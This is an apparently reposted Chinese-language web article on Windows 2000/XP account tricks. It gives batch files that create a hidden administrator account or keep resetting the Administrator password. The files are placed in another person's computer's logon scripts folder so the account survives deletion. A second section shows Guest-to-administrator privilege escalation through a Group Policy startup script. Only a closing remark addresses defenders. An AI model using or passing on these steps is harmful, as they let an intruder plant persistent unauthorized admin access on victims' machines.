| 关键词: 帐户 管理员 文件 密码 一个 Windows 上述 admin guest administrators |
操作步骤: 1、在自己电脑里面建立一个.txt文本文件. 2、在里面输入内容 @echo off net user xixi 123456 /add 注释:前面xixi是用户名后面123456是密码; net localgroup administrators xixi /add 3、把这个文件保存,更改后缀为xixi.bat 注释:前面名字随便,后面格式一定要是bat; 4、把这个文件拷贝到对方电脑C:\WINNT\system32\GroupPolicy\User\Scripts\Logon文件目录下,没有的话自己创建。 完成,下次对方电脑无论如何都有这个管理员帐号,删除了,下次启动还有! 如果把里面的内容改成 @echo off net user administrator 123456 /add 意思是不管你怎么改,下次启动管理员帐号administrator密码一直是123456 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~2K XP guest提权的方法(已测试可以用) 大家知道,在Windows 2000/XP 中,如果你是管理员,就算不知道其他用户(管理员)的密码,还是可以用 Net User 帐户 密码 更改其密码。据说MS是为了用 户的方便(如用户忘记密码),此外,用户还可以用Net Localgroup Administrators帐户 /add 命令来将帐户添加到管理员组。 但是,如果你不是管理员,如Guest帐户,表面上是不可以使用上述命令的,但我们可以通过某种渠道来使用它。 例:以 Guest帐户身份创建一个管理员 一、 创建一个批处理文件,内容如下: net user admin /addnet localgroup administrators admin /add 将上述的批处理文件保存为 admin.bat. 注:上述批处理文件作用是创建一个名为 admin 的管理员帐户(密码为空)。 二、将此批处理文件作为Windows 的开机启动脚本。 1、在 运行 对话框中输入 gpedit.msc 2、定位到 计算机配置一>Windows设置一>脚本 (启动/关机), 双击右边窗口的 启动,在其中添加先前创建的 admin.bat。 3、重新启动计算机,系统便有了一个名为admin 的管理员 上述操作在Windows 2000/XP中可行,但要保证帐户可以访问注册表,组策略(创建帐户的操作实际上也就是在注册表中添加相应的项和值),而Windows中的缺省的Guest/受限帐户并无此限制。 或许,我们并不需要用Guest帐户去创建一个管理员,但设想如果某个程序只有管理员可执行,是否也就可用上述的方法来实现呢? 小结:Windows系统默认对Guest/受限帐户的限制只是表面上的,作为一个有经验的系统管理员,要做的事情还很多,起码应该禁止受限用户访问/修改注册表,组策略 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|